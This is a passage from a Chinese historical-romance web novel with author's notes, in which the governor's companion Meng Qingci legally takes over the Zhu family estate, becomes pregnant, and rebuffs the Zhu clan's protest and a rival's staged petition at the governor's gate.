傅珩眸色一沉,捏住她雪白肩头的手略带惩罚地用了几分力, 引得她轻颤了一下。“莫要胡言。”他冷声警告,声音里却藏着一丝不易察觉的暗哑。 孟清辞痛得抽了口气,反手“啪”地一声打在他的手背上, 一双美目含着薄怒瞪向他:“分明是你先提起的,倒来怪我?你满脑子里何曾有过半点正经东西!” 傅珩方才得了她几分好颜色,见她霎时又要恼了, 赶忙缓了神色, 连声赔不是, 温言软语地哄了起来。 可傅珩本就生性多疑, 餍足后, 脑子清醒了些,他将温香暖玉搂在怀中,下颌轻蹭着她的颈窝, 看似温存无限,出口的话却仍是试探:“你怎么忽然便想开了?可是那朱家大姑娘劝你了?” 孟清辞毫不客气的手肘怼傅珩的肋下:“你好没意思,少拿疑心来猜我,你若是不愿意,大不了,立时出去叫人端一碗避子汤来,我喝下去,就干净了。” 傅珩忍者疼,将人搂的更紧些,忙告饶:“是我的不是,惹你不痛快,你且绕我。” “你不是的还少吗?”孟清辞讥讽:“就没见过哪个男人榻都没下去,便要疑神疑鬼起来。” 傅珩心知她指的是安义侯府那日,他冷眼旁观傅鸿轩设计陷害她之事,一时语塞,只讪讪别开视线。 孟清辞径自起身拢好亵衣,伸脚不轻不重地在他小腿上一踹:“莫要拖延,还不快起来,叫人出去把事儿办了。” “你的事情,我又何时不上心,书吏和账房早就在门上候着了。”傅珩一把抓住她作乱的脚,爱不释手的摩挲,尤稀罕不够,抵在薄唇上。 她如珠圆润的脚趾忽感湿热,她‘嘶’的一声,抽回腿,捡起地上褶皱又裂开下摆的衣裙,又埋怨的嗔怪他:“斯文败类。” 傅珩被气笑了,却拿她没有办法,不知道她哪里来的那些稀奇古怪的词,总能不重样的骂他。 孟清辞草草穿戴整齐,将一头青丝松松挽起,随手扯过傅珩的一件玄色披风将自己严严实实地裹住。她旋身踏出内室,方才的种种情态顷刻消散,面上只剩下一片冰冷的疏离。指尖深深掐入掌心,留下几道月牙似的红痕。 她不知道还要于傅珩周旋多久,说不怕是假的,她怕自己愈陷愈深,怕她自己对他日渐产生习惯,更怕这具年轻的身体经不住生育之苦。 但是开弓没有回头箭,想到傅珩在安义侯府的冷眼旁观,想到那些逼迫,她无论如何都意难平,宁愿冒险一试,也要博得个快活自在。 孟清辞匆匆理好衣妆,便命人请来了朱幼宜。 凭着朱大老爷生前亲笔手书,以及他的私印,书吏和账房又都是傅珩打过招呼的,朱家的产业易主交割,办的出奇的顺利。 待一切落定,朱幼宜站起身,竟郑重其事地向孟清辞行跪谢大礼。 孟清辞眼疾手快,一把将她托住:“这是何意?” 朱幼宜眼眶泛红,手指紧紧攥着那只盛满银票的木匣,颤声道:“大人和姑娘的大恩,幼宜此生无以为报。” 旁的书吏与账房皆垂首侧立,佯作未见。两人的算盘珠子刚都打出火星子,二人虽对此番结果早有预料,心下仍不免骇然。 账房倒还镇定些,毕竟孟清辞每日支取的银钱皆经他手拨出,他对巡抚大人宠爱这位姑娘的程度,早已习以为常。 那书吏却是头一回见到这位孟姑娘。如今闽州城内皆传,她是巡抚大人放在心尖上的人。今日得以亲见却是惊为天人,只叫他更为震惊是这位主儿的手段。 他万万想不到,一向清冷自持、无欲则刚的巡抚大人,为讨这位孟姑娘欢心,竟弹指之间令朱家倾覆。 他甚至不敢想象,今日之后,整个朱家乃至闽州豪绅世家将因此事掀起怎样的惊涛骇浪。这位孟姑娘竟是一寸族田都没留给朱氏,这与掘人祖坟、毁人宗祠又何异? “哎~”孟清辞长叹一声:“我与大人不过是怜惜你,与我一样都是身如浮萍的孤女罢了,你还要登船,莫要误了时辰。” 她转身唤来墨松,郑重吩咐道:“你亲自替我送朱姑娘上船,务必稳妥。” 墨松躬身领命,肃然应下。 朱幼宜与孟清辞辞行,语气恳切而不舍:“此去一别,山高水远,再见不知何期。唯愿姑娘与大人珍重万千,琴瑟和鸣,终成眷属,早日得续麟儿之喜。” 孟清辞像是听进去了,一副欣然领受的模样,抬手与她作别。 待送走朱幼宜,孟清辞命人重新为账房与书吏奉上新茶,又取了两个红封递予二人。 二人入手一摸,便知其中竟是银票,顿时受宠若惊,忙不迭地起身,恭恭敬敬向她行了大礼。 他们心中澄明:连墨松管事那般身份的人都任这位孟姑娘随意差遣,自己又岂敢有半分怠慢? 此后,孟清辞便不再如往常那般日日出府游逛,反倒愈发频繁地前往傅珩处。每每傅珩伏案批阅公文,她便静坐一旁,为他缝制亵衣、腰带、荷包等贴身之物。两人之间一种无声的缱绻悄然流动,竟好似一对新婚燕尔、如胶似漆的眷侣,颇有一番伉俪情深的景象。 直至一个多月后,孟清辞被诊出了喜脉。 傅珩闻讯,竟欣喜若狂,当下厚赏全府下人两个月月钱,喜悦之情溢于言表。 这日傍晚两人温存过后,傅珩将孟清辞拢在怀里,大掌覆在孟清辞的小腹上,来回摩挲。 傅珩心中本不愿她过早有孕。她昔日所言,他字字记在心底,总担忧她年纪尚轻,身骨未完全长开,恐难承受生育之苦。 然而另一方面,他又难以按捺地渴求一个孩子。 仿佛唯有如此,才能将这缥缈不定的关系握实几分,证明她真真切切,是属于他的。 “明日我需往水军营巡查,约莫要去几日。你若是闷了,想出门散心,务必多带些人手。我将墨松与墨白都留给你,凡事有他们照应,我亦安心些。”傅珩语声温存,低低道:“只你如今有孕在身,完事都要以自己的身体为重。” 孟清辞听闻此言,心脏难以抑制的狂跳起来,却克制自己不去看傅珩,而是嗓音轻柔问:“要去几日?” 傅珩最是受用她这副全然依赖他的模样,故意笑问:“怎么,我还没走,你便不舍得了?” 孟清辞叹一口气:“你不在我会怕,你不是说,我离不得你。”说完还往他怀里靠了几分,似乎很是舍不得。 傅珩含糊其辞道:“放心,几日而已,不会叫你如何的。”—— 作者有话说:祝大家开学顺利,本来昨天是不发1号的,然后脑子每天产量就这些,结果今天又迟到半小时,先欠着,看哪天爆发一次,本周已经更新超过两万字了哦,谢谢大家的喜爱 来收藏我预收文呀 《锁金枝》 1v2 王元贞救萧衍一命,萧衍却恩将仇报,强取豪夺 萧衍身受重伤弥留之时,看见一女子,韵在光影里,头戴青玉莲花观,垂下两条飘带,眉心一点观音痣,恍若神仙妃子下凡 本应报救命之恩,他却做尽卑劣事 1v2 排雷: 1、古早狗血,SC,男主狗,女主娇弱,体型差,年龄差 2、杜撰架空乱炖,群雄割据 3、强取豪夺梗 第36章 第 36 章 动用私刑【已修】 傅珩甫一离城, 朱家便似暗中窥伺的鬣狗,率众围堵于巡抚府邸之外鼓噪闹事。 孟清辞近来嗜睡,正沉溺梦乡。骤然被一阵苍老凄厉的嘶嚎声骤然扰醒。 她身上发沉, 眼皮发重, 纤指挑开墨蓝色的帐幔,声音里带着未醒的倦, 与被打扰不快,问:“什么声音?外面发生何事?” 外间做绣活儿的霞光听了孟清辞发问, 心下暗怪,墨松在外院办事不力,叫在巡抚府外吵闹不休, 惊扰了姑娘的清梦。 霞光赶忙撂下手中的活计,掀开珠帘,走进罩门, ,一面利落地为孟清辞挽起床帐,一面温声回话:“是朱家那些人寻上门来了。墨松已经前去打发了, 想必一会儿就平息了。” 孟清辞讥讽道:“早不来,晚不来,专挑这时候来, 真是有意思。” 说完便起身下榻, 坐在梳妆台前梳整一翻, 手执团扇, 朝着外面去。 霞光跟在后面劝:“姑娘若是去了, 岂不是给了他们脸面,由着墨松将人打发了便是。” 孟清辞冷笑一声:“打发了岂不是便宜了他们?我倒是要看看,他们是借了谁的胆子, 敢来巡抚府门前闹事。” 霞光担心的提醒:“姑娘,您还怀着孩子呢,别让他们这些不长眼的冲撞了您。” 孟清辞:“今日打发了,还有明日,不如料理了干净。” 霞光扶着她仍旧劝:“做不过几日,等大人回来了,自然饶不了他们。” 孟清辞呵笑一声:“他们不就是趁着你们大人不在,才来发难,真以为你们大人不在,我奈何不了他们。” 墨松在巡抚府大门外,见着孟清辞从里面出来,额头瞬间冒了汗,赶忙迎上来:“姑娘怎么出来了,可别让这些没长眼的冲撞了您。” 霞光怨怪的怼他:“还不是你办事不利索,吵醒了姑娘午睡。” 孟清辞叫人抬来一把椅子,放在门口,她慢条斯理的坐下,还闲适的喝了口茶。 朱家人见她一副蔑然姿态,简直气得跳脚。正坐在地上哭嚎的朱老夫人顿时瞪起一双浑浊老眼,嘶声嚎叫道:“就是你这个骚狐狸精,蛊惑了巡抚大人,强夺我朱家家产!枉顾王法,逼我们朱家上下上千条人命去死!你年纪轻轻,心肠怎就如此歹毒?” 朱老夫人的声音陡然尖利,几乎撕裂空气:“生得这副狐媚模样,就是来祸害我们闽州风水的!按族规,合该把你这种妖孽活活烧死!” 霞光叫气得当下忍不住上前一步,呵斥:“老东西满嘴湖沁,什么东西,也敢在巡抚府门前撒野。” “呸,小娼妇,也敢在老身面前张狂,想必和那骚狐狸一路货色。”朱老夫人张牙舞爪的想要上前。 巡抚府门前,带刀侍卫闻言“唰”地一声凛然出鞘,横挡在朱家众人面前,刀光泛寒,逼得人不由倒退几步。朱家二爷和三爷见状,慌忙将自家老娘往回拉扯,假意低声劝阻。 孟清辞这才缓缓抬眼,朝门前扫去,乌泱泱一片,朱家老老少少竟来了百来号人,竟还有持棍的家丁。 墨松俯身贴近,在她耳边低语:“姑娘放心,墨白已赶往府衙调兵。” 孟清辞却不恼,只嗤笑一声,声音清冽:“嚷得再凶,又有什么用?不如你现在就绑了我,就在这巡抚府门口点一把火,烧给整个闽州百姓看看。看我究竟会不会现出原形,又到底是什么妖精。” 朱老夫人一听,像是捉住了什么天大的把柄,立刻扬声道:“大家都听见了!她自己认了!今日我们朱家就学一学清君侧,为闽州除了这祸害!” 朱老夫人猛地扭头,朝两个儿子急使眼色。朱老二会意,转头看向朱氏老族长,压低声音劝道:“族长,我娘这话……虽不中听,却也有几分道理。不如我们就……” 老族长闻言,抬眼看向孟清辞那张年轻淡漠的脸,心中一股压不住的恨意翻涌而上,恨她夺了朱氏的家产和族田,叫他们朱氏危在旦夕,心里不由得生出几分动摇。他嘴唇嗫嚅,刚要开口,却被墨松一声厉喝骤然打断。 “我看谁敢动!”墨松横跨一步,目光如刀,声音掷地有声:“今日谁敢上前一步,定叫他血溅当场!” 就在此时,远处脚步纷沓,墨白已率府兵疾步赶来,顷刻间将朱家众人团团围住。 朱老族长被这一嗓子喝得猛然醒过神来,他们此刻是站在巡抚府门前,可不是在朱氏祠堂里任他们说了算。他强压下心头翻涌的不甘,上前一步,朝孟清辞勉强拱手道:“姑娘,我们朱氏与你远日无冤、近日无仇,不知姑娘为何非要紧逼,要将我整个朱氏置于死地?” 孟清辞将他方才的神色变幻尽收眼底,闻言只玩味地一笑,反问道:“证据呢?” 朱老族长一怔,几乎没反应过来:“……什么?” 孟清辞目光再次扫向人群,除了朱氏百十来号族人,四周还围了不少看热闹的百姓。 这其中想必,更夹杂了不少来自其他世家豪族的眼线,都在观望这一出,巡抚府门前的大戏。 她不急不缓地将茶盏不轻不重地搁在一旁的小几上,发出清脆一声响。 “口口声声说我置你们于死地。”她声音不高,却字字清晰,“可你们不都还好好站在这儿么?青天白日、巡抚府前,尊法之地,想要给我泼脏水,定我罪,说我逼迫朱家,要么你们现在死一死,要么就拿证据出来。” 她唇角微扬,语带讥诮:“至于那些妖魔鬼怪、狐媚祸水的荒唐说辞,还是收回朱氏祠堂,关起门来耍罢。” 朱老族长不想这女子年轻不大,却不是面皮薄的,被她一番犀利言辞,堵得老脸羞红。 再看四周森然肃立的府兵,以及这位自始至终从容不迫的年轻女子,心知这小女人是个硬茬子,根本不吃撒泼吓唬那一套。 朱老族长心中暗恼:也不知朱老大那闺女是如何攀上这等人物,竟如此棘手难缠!眼看今日硬碰绝讨不了好,他只得强压怒火,勉强端着一族之长的体面,朝前拱了拱手,试图仍以理服人,缓声道:“姑娘明鉴,先前您收走了朱家全部产业,甚至有我朱氏全族赖以生存的族田。没了产业和族田,叫我们朱氏一族如何生存,等同置朱氏一族于死地。何况此事未经我朱氏一族同意,岂不与强抢无异?巡抚大人一向爱民如子、清誉在外,想来姑娘也不愿因一时之举,损了大人的清名罢?” 孟清辞像是极为赞同般微微颔首,问道:“既然如此,便将契书拿来。若你所言属实,我即刻当着众人的面,将产业如数奉还。” 朱老族长又是一怔,茫然反问:“什么……契书?” 孟清辞语带讥诮,声调扬高几分:“你说产业是你的,便是你的?口口声声说我强夺,总该拿出朱氏产业与族田的白纸黑字、官府红印来当众作证才是。” 她目光扫过众人,言辞陡然转厉:“难不成你空口白话,说什么属朱家,什么就属朱家?今日你说我强夺朱氏产业,我便成了强夺之人;来日你若说陛下的龙椅原本也该属你朱家,是不是也要陛下,把龙椅给你坐一坐?” “你……!”朱老族长被她这一番放肆之言气得浑身发颤,惊怒交加,再也绷不住那张苍老的脸面,怒声道:“休要信口雌黄,给我朱家泼脏水,你果真歹毒,三两句便要我们朱家扣上诛九族的大罪!” 孟清辞抬起团扇打断朱老族长:“行了,少要插科打诨,把楔书拿出来,咱们对峙。”她美眸熠熠生辉:“话说在前头:污蔑栽赃,依《昭德律》亦是重罪。以朱家产业的作价,这量刑最轻也是流徙三千里。” 朱老族长见根本糊弄不过去,只得道:“朱家老大去世后,族里还来不及去衙门交割此事,但是按照族规,我那大侄子,他没有子嗣,产业自然是要传给他的兄弟子侄。” 孟清辞悠闲的晃着团扇,认真的听着,眉头都没有蹙一下:“这是你们族里自己的事情,你们来不及去交割也不是我逼的,毕竟那时候我还不在闽州。” 朱老族长被她一番软中带刺的话堵得心口发闷,却也只能强压怒火,沉声道:“不知姑娘是如何得到的产业,无论如何,还请您高抬贵手,物归原主。” 孟清辞却轻轻一笑,目光越过众人,落在刚刚赶到的书吏杨伦身上,招手道:“你来得正好,就当着大家的面说一说,我买卖朱氏产业,到底合不合规矩?” 书吏杨伦应声上前,朝朱氏众人正色道:“孟姑娘购置朱氏产业时手续齐备,契书上明明白白有朱家大爷的亲笔签名、私人印信,更有他的手书为证。一切流程皆符合律例,绝非强夺。” 朱家二爷忍不住厉声打断:“不可能!我大哥早已过世,怎么可能亲自交割?他的产业,自然该由我们朱家子弟继承!” 书吏杨伦将带来的文书徐徐展开,在朱氏众人面前一一呈示。朱家人个个面色如土,惨淡无声。几个站得近、识得字的百姓也伸头望去,一看之下,不由得哗然! 那契书上白纸黑字、朱印鲜红,确确实实是朱家大老爷亲手画押,将朱家全部产业尽数卖出。 众人面面相觑,低声议论纷纷:“这得是多大的仇、多大的怨,才能让朱家大老爷做出这等决绝之事?” 有人欷歔:“我听说,朱大老爷和两个兄弟不是一母同胞,肯的是防着被吃绝户呢呗。” 亦有人附和:“你别说,还真有那意思,据说朱氏的产业几乎都是朱大老爷挣来的,不想叫人夺走也是人之常情。” 听着众人人云亦云,越说越难听,朱氏族老也面色阴沉,不再遮掩,直言道:“姑娘,您这是被大姑娘骗了。她一个女儿家,根本没有处置朱家产业的权利。朱家的产业,从来只传男不传女,理应由族中男子共同议决。” “那是你们朱家关起门来的事情,我只认楔书不认人。”孟清辞闻言轻笑一声,语气却陡然转厉:“且先不提你们污蔑我一事。我只问一句:你们口口声声朱氏的规矩,难道朱氏的规矩还能草菅人命?大得过王法?大得过国规么?” 朱老族长顿时神色惶然,连忙躬身道:“朱氏不敢,朱氏万万没有这个意思!今日前来,也只是想恳请姑娘归还本属于朱氏的产业。” 孟清辞神色清冷,声音不高却字字清晰:“听不懂人话?我只认契书,衙门也只认契书。我真金白银买的,朱家就算告到京城,律法如山,依然如此。” “你……”朱老族长气得胡须直颤,“你这是要打破世家豪族的百年规矩!今日你对朱家趁虚而入,来日就能如此对其他世家豪族,就不怕惹怒整个闽州的世家豪族,群起而攻之吗?” 孟清辞团扇半掩,轻笑一声,目光扫向人群:“在哪儿呢?你叫他们站出来,我倒要看看,是怎么个‘群起而攻之’法?” 围观的百姓被她这番话逗得哄然大笑。 朱老族长怒道:“你以为你动的只是朱家?你动摇的是所有世家大族的根基!他们岂会善罢甘休!” 孟清辞却淡淡道:“那他们最好活得久一点,别死了之后,还要惨的叫族人吃了绝户。” 百姓中又是一阵抑制不住的大笑。朱家众人脸色愈发难看。 朱老夫人再忍不住,嘶声吼道:“你这小骚蹄子嚣张什么!不就是仗着一身细皮嫩肉爬床的浪荡货色,真当自己能耐了?我倒要看看你能张狂到几时,将来哪个主母容得下你?进门第一个就弄死你!” 孟清辞似笑非笑,瞥她一眼,扬声道:“来人。辱我,便是辱巡抚大人,给她掌嘴。” 知府跟着巡抚大人一同去巡水军营,只留了他这么个书吏,杨伦立即向衙役递了个眼色,两人应声出列,利落地将朱老夫人押跪在地,抬手左右开弓,便是几个耳光。 朱老夫人是故意一照面就羞辱孟清辞的,她想年轻小姑娘到底面嫩,叫她吓唬一通,自然乱了心神,惧怕万分,还不是他们说什么是什么。 只朱老夫人万万没想,面对她的羞辱,孟清辞全无后宅女子在外的矜持,今日面对朱家百十来号人,这女人八风不动,面皮都没红一下,丝毫怯懦之色。 此刻竟然还要在大庭广众对她动手。她尚未回神,已被一掌扇得口齿溢血,哀嚎一声,竟生生落下一颗牙来。 朱二爷、朱三爷急喊:“住手!快住手!你们这是动用私刑!” ————————— 书吏杨伦横眉冷目的站出来,仰着下颚,摆足了衙门派头:“少要在此信口雌黄,颠倒黑白,你们朱家公然持械在巡抚府门前聚众闹事,朱老老太太更是大庭广众之下辱骂傅大人家眷,叫衙役罚她几个嘴巴,已是轻的,何来私刑一说?” 朱老族长到底人老精明,见朱家尚未真正闹起事端,巡抚府竟已调集了上百名府兵前来镇守。书吏杨伦更是对孟清辞卑躬屈膝,极尽讨好,连衙役的两个皂班都带了过来。 再瞧端坐在巡抚府门前的孟清辞,绝非寻常闺中女子,年岁虽轻,手段却果决狠厉。朱家今日之举不仅威吓不住这小女子,到时候朱家拿不回产业,恐还要成为闽州的笑柄,怕要鸡飞蛋打,到头来一场空,仅存的颜面也丢尽了。 想到那些个后果,朱老族长忙上前赔礼:“姑娘恕罪!她老糊涂了,口不择言,您千万别跟她一般见识……她这把年纪,再打下去要出人命的!” 孟清辞却丝毫不为所动,字字如刀:“她藐视公堂、辱及朝廷命官,按照律法,今日便是当场打死,也是咎由自取。” 她不再看瘫软在地的朱老夫人,对她的哀嚎声更是恍若未闻。将墨白唤来,吩咐道:“朱家聚众闹事、污蔑官员,猖狂至极。所有参与闹事者一律拿下,主犯、从犯全部按《昭德律》处置。” 墨白凛然应声,当即率府兵与衙役,将朱家众人并一众仆役尽数拘押带走。他事利落,朱家众人的哀嚎声,求情声,很快便消失殆尽。 府衙的书吏杨伦眼珠儿一转,觉得此时正是他大显身手,讨好孟清辞的好机会,心生一计。 他朝前两步,面向围观的百姓,高声讲起买卖产业的规矩门道来。不少百姓原本不识字,又素来畏惧衙门威势,今日难得有书吏亲自现身说法,虽见府兵抓人心中发怵,却仍留在原地,却仍屏息凝神站在原地细听。 杨伦有意不用官话,也不咬那些文绉绉的字眼,反倒拣出些日常市井间的例子。他深入浅出,条理分明,不过寥寥数语,便将道理掰开揉碎。 不过片刻,人群中便有人频频点头,甚至高声击掌、叫起好来。 有人猛地一拍大腿,恍然大悟道:“哎呀!敢情是朱家这两兄弟,原本算计着吞吃自家大哥的绝户财,哪想到朱大老爷早有防备!朱大小姐又遇见巡抚府的贵人,朱家吃不成绝户,反倒人财两空,现如今恼羞成怒,便故意来巡抚府门前生事,欺侮巡抚大人的家眷!这般猖狂,简直无法无天!” 一个身材臃肿的婆子说:“哎呀,我听我那七大姑的八大姨说,自从朱大老爷过世,朱家打着给大老爷守孝的名义没少难为朱家大小姐。幸亏遇见巡抚大人的内眷,真是老天开眼呐。” 旁边一个拎菜篮的妇人撇了撇嘴,低声道:“又不是一个肚皮爬出来的,自然恨不得把肉啃干净、血喝也干凈!” 又有人迟疑地插嘴:“可听说……那朱大小姐连一块族田都没给朱家留,一个女子,是不是也太狠了些?” 他身旁的媳妇立刻怼了他一下,低喝道:“你瞧瞧朱家这阵仗!若不是被逼到绝处,一个姑娘家能这般狠心?依着我看,只怕是被磋磨狠了,才恨毒了!” 此时,不知谁在人群里幽幽叹了一句:“看朱家这嚣张气焰,连巡抚衙门都敢围,当年朱家大老爷可是去的突然,算是暴毙而亡。别不是里头有什么见不得光的勾当吧?” 书吏杨伦闻言眉头一蹙,悄悄回头瞥向孟清辞。 只见她眸光微敛,几不可察地一点头。 杨伦当即会意,转身高声宣道:“诸位乡亲!若对朱大老爷之死存疑、或有线索可提供者,皆可来衙门申报。经查属实者,衙门自有赏银酬谢!” 一时围观百姓纷纷交头接耳,心思异动起来,有的还和书吏杨伦攀谈起来。 若是往日,这等市井小民,杨伦自然是不予理会,但此时,若是查出朱家大老爷之死另有隐情,岂不是能讨得巡抚大人和孟姑娘的欢心,简直是一举多得的好事。 杨伦的笑容更真挚亲和了几分,不厌其烦的听着百姓零零碎碎的‘线索’。 远处拐角巷子里,停着一辆青帷马车。车窗帘掀起一角,恰好将巡抚府门前这场风波尽收眼底。 车外,婢女金秀倾身,低声轻语:“小姐,这朱家也太不中用,枉费您一番筹谋,只怕到了牢里,经不住拷问,再给咱们倒出来。” 马车里,沈云夕扶正发钗,神色未动,眼底却掠过一丝冷诮:“无妨,不是在被准了一处戏,也该上场了。” 她本就不指望朱家能成什么事,不过借此试探那女子虚实罢了。却没料到,傅珩所钟意的,竟是这般不识体统、当街与人争执的庸俗之辈。 她漠然收回目光,素手轻摆。 金秀会意,转身匆匆而去。 巡抚府门前,孟清辞见这场闹剧已近尾声,正欲起身回府。 恰在此时,一声凄惶的年轻妇人高呼骤然响起:“姑娘且慢!求姑娘发发慈悲,救我一命!” 霞光见状,连忙唤来两个粗使婆子上前拦住那妇人。见她不顾体统横冲直撞,不由语气带上了几分斥责:“看你衣着打扮,也该是个体面人家出身,怎的如此不知礼数,在此喧哗冲撞!” 那年轻妇人被拦下后再无法上前,竟“扑通”一声径直跪倒在地,眼中含泪哀声道:“姑娘……不,夫人……求您行行好,救我一命吧,我实在是,活不下去了啊!” 原本正与衙门书吏说得热闹的百姓,被这一身绫罗、形容凄惶的年轻妇人,乍然一声吸引了目光,纷纷转头望来。 人群中几个心软的大娘,见她泪如雨下,好不凄惨,,忍不住扬声劝道:“这位夫人快别哭了,咱们眼前这位小夫人最是慈悲心肠,你有什么冤屈苦难,不如细细说来!” 孟清辞只觉今日之事一桩接着一桩,倒像是早有安排似的。她目光轻扫,见周遭百姓个个神情殷切,一副“我们都指望您了”的模样,不由心中暗觉好笑。 再看那年轻妇人,一时称呼她“姑娘”、一时又称呼她“夫人”,孟清辞更觉有意思。 府中知根知底的都称她一声“姑娘”,而外人见她梳着妇人髻,不论年岁几何,自是唤作“夫人”。一个衣着体面的女子,岂会连这点人情世故都不明白? 孟清辞唇角微扬,索性又安然坐回圈椅中,轻摇团扇,好整以暇地将那妇人从头到脚细细端详了一遍。 她美眸含笑,很是不扫兴的问道:“起来罢,你要求我什么事?且说来听听。” 那妇人依旧跪地不起,还欲膝行向前,却被巡抚府的仆妇牢牢拦住。她唇瓣嗫嚅,未语泪先流,哀哀哭泣起来。 倒是她身后搀扶着的婢女口齿清晰,代为上前一步,恭敬回道:“启禀夫人,我家夫人是城中程家的五奶奶。自前年五爷纳了一房妾室,便愈发宠妾灭妻,竟将我们奶奶的嫁妆都挥霍尽了。 这还不算,平日里五爷但凡喝了酒,便总要拿我们五奶奶撒气,非打即骂,从没个好脸色。 更令人心寒的是,去年冬天,小公子染病,那小妾竟故意拦着不让请大夫,活活拖得小公子没能熬过去。那么小的孩子,就这么没了。到头来,全家反倒怪罪我们奶奶照顾不周,叫她日子越发难熬。 如今那小妾生了庶子,自觉五奶奶碍了她的路,三天两头挑唆五爷动手,打得我们奶奶浑身是伤、旧痕叠新痕。日子实在是过不下去了,听闻夫人慈悲,帮了朱家大小姐,求夫人也为我们奶奶做主,允她与五爷和离,求一条活路罢!” 那婢女这番话,咬字清晰,声情茂,悲悲切切。 待她说倾诉声毕,如冷水入沸油,在围观的百姓中瞬间炸开。众人先是面面相觑,随即皆是目露骇然,唏嘘声、怒骂声渐起。 “不想深宅大院还有这等龌龊。” “你晓得什么,深宅大院才藏污纳垢,尽做些见不得人的龌龊事!” “竟然害死自己的嫡子,磋磨自己的妻子,只为了抬举一个小妾和庶子。” “那程家五爷瞧着人模人样,想不到,背地里竟干得出这等宠妾灭妻、逼死亲儿的勾当!” 程家五奶奶仍旧跪在那里,听婢女说起伤心事,尤其提及幼子惨死,只觉得了她的摧断心肝,单薄的肩膀难以抑制地微微颤抖,跪在那里埋头低声垂泪,压抑的低泣声碎在风里。 一时间,人群议论纷纷,皆是为五奶奶抱不平,对程家所为不齿。 “你倒是个嘴巴利索的。”孟清辞一双美眸含着讶异,将那小婢上下一打量,见她一气说完这许多话,面上纹丝不乱,不由轻笑道:“只一点,我可没有帮谁,不过是顺手方便才买了朱家的产业。” 那婢女额头重重磕在地上,发出沉闷一声:“夫人说的是,夫人明鉴,奴婢方才所言,句句属实,若有一句作假,便叫奴婢死后魂魄无依,永堕地狱,受那拔舌碎身、万劫不复之苦!” 昭德民风,百姓多敬鬼神,这婢女用自己魂魄轮回赌咒发誓,已经是很重的诅咒了。 甭管孟清辞信不信,周遭众人无不动容,目光在孟清辞与那主仆之间来回逡巡,一时群情戚戚,竟皆屏息凝神,眼巴巴地望着孟清辞,俨然将她当作了能断是非、主持公道的青天。 孟清辞心中越发觉得可笑,她不过一个后宅女子,傅珩离开不过一两日,她反成了闽州的‘青天大老爷’了。 墨松早换来小厮去给程家送信儿,此时退回孟清辞身侧,微微倾身,低声禀道:“夫人,程家是闽州一带的制糖大户,家业深厚,与咱们大人,素有往来,关系匪浅。” 孟清辞闻言,意味深长地侧眸瞥了墨松一眼,手中团扇轻抬,点指书吏杨伦:“杨书吏,你过来。” 杨伦立刻应声,三步并作两步踏上巡抚门前的石阶,迅捷地来到孟清辞面前,将身一躬,拱手道:“小的但凭夫人差遣。” 一旁的墨松素日打理傅珩的产业,与这杨伦打交道不在少数,对他上算恭敬,却从未见他殷勤谄媚至斯,简直像是换了个人。他眼角微微一跳,不动声色地别开视线,简直有些没眼看。 孟清辞眼波微转,手中团扇轻摇,对杨伦含笑道:“今日也是赶巧了,便辛苦杨书吏一趟。你将这位程五奶奶好生请去府衙,仔细同她分说分说:若夫家不慈,妻子可否状告?该如何状告?若怀疑家中妾室蓄意谋害嫡子,又该如何报官立案?” 她语声温和,目光却掠过阶下满含期待的百姓,继续吩咐道:“此事既涉及伦常纲纪,众人又皆关切,你便公开受理,容百姓旁听。也叫大伙儿日后若遇难处,都晓得该如何寻官府求个公道。” 杨伦听罢,面上顿时掠过一丝尴尬,这分明是个烫手的山芋。可他眼珠一转,旋即躬身应道:“小的明白,定将此事办得妥当。”这位主子不愿意管,便是随便他和稀泥了。 孟清辞微微颔首,起身便迈过门槛,径自向府内走去。 才步入影壁,忽闻身后那婢女凄声喊道:“夫人留步!求夫人发发慈悲,他们都惧程家势大,无人肯救我们奶奶!我们奶奶唯有您了,您看在同病相怜的份儿上……” 孟清辞脚步未顿,只侧首对霞光冷冷一嗤:“去告诉墨松,派人盯着。查清楚是谁在背后怂恿挑事。真当我是好糊弄的?” 她才用《昭德律》处置了朱家,转头就有这么个“苦主”上门求她帮忙和离。 呵~~若和离真有那么容易,还用求到她面前嘛,不过是有人见她援手朱家小姐,便以为她是个心软好欺、怜贫惜弱的,不知走了什么门路,找来个与傅珩牵扯甚深的程家五奶奶上门来。 叫她认了《昭德律》,再破了《昭德律》?是要逼她当众自打嘴巴,毁诺失信?真是好手段。 还是想离间她与傅珩?还是竟欲借她之手,找傅珩的麻烦? 不过,管他呢!不论打的什么注意,那人都打错了算盘。她从来不是什么烂好心之人。 金秀站在人群外的角落看着,目光一路追着孟清辞的身影直至消失在巡抚府朱门之内。她旋即转身,疾步隐入一旁狭窄的巷弄,登上巷内的青篷马车。 她对着端坐其中的沈云夕轻轻摇了摇头,禀道“小姐,没成。” 沈云夕闻言,缓缓放下手中的书卷,默然片刻,终是化作一声轻叹:“罢了。” 她抬眼,见金秀欲言又止,问道:“还有何事?” 金秀仔细斟酌着,终是回禀道:“奴婢观那女子,眉眼神态之间,有点像王妃。”她顿了顿,语气愈发肯定,“不,细看之下,竟是很有些像王妃。”—— 作者有话说:补齐了 傅珩:我不在的时候莫怕。 孟清辞:果然还是权利让人快活 傅珩:夫人能干 作者:除了男主苟,这是个爽文,脑子存一下,爽就行了 第37章 第 37 章 奴大欺主 孟清辞在府门口待了半晌, 回去后人便懒懒的,像被抽了筋骨似的歪在湘妃榻上。晚膳时对着精致菜肴只动了几筷,便推说燥热难耐, 让丫鬟撤了下去。 “早说了不叫姑娘出去偏不听, 您如今是双身子的人,主子又不在府里, 真有个闪失,叫奴婢们如何交代?”霞光一面使唤小丫头撤桌子, 一面埋怨碎碎念:“奴婢这便去唤张合过来给您瞧瞧。” 孟清辞只觉得热的很,因着身孕不敢多用冰,只叫人在三尺外摆了铜鉴冰盆, 那点凉意还没到榻前就化成了暖风。她懒懒地摇着缂丝团扇,扇面上并蒂莲忽开忽合,心口燥热, 属实难熬的厉害。 她也不敢拿自己的身体开玩笑,颔首笑道:“若是不依你,怕不是要一直念叨我。” 霞光负气转身出去, 不过半盏茶工夫,便领着张合掀帘子进来。 这位张合着实有些书呆子气,他将药箱搁下。便一板一眼地为孟清辞请脉, 左右手皆凝神细诊过后, 他双眉紧蹙, 良久沉吟不语, 周遭空气也仿佛随之凝重起来。 霞光紧张地攥紧了帕子, 急声催问:“到底如何了?你倒是说话呀,莫要吓人!” 张合憋了半晌,没好气的抱怨:“姑娘的身子早前本就元气大伤, 好容易将养出些起色,怀上这胎已是万分勉强!如今再中了暑气,这、这……哎!” 孟清辞收回手,听了张合的话,半阖着双眸,将所有情绪敛于其下,竟是一言未发。只兀自起身,裙裾轻摆,便径直进了里间,歪倒在软榻之上。 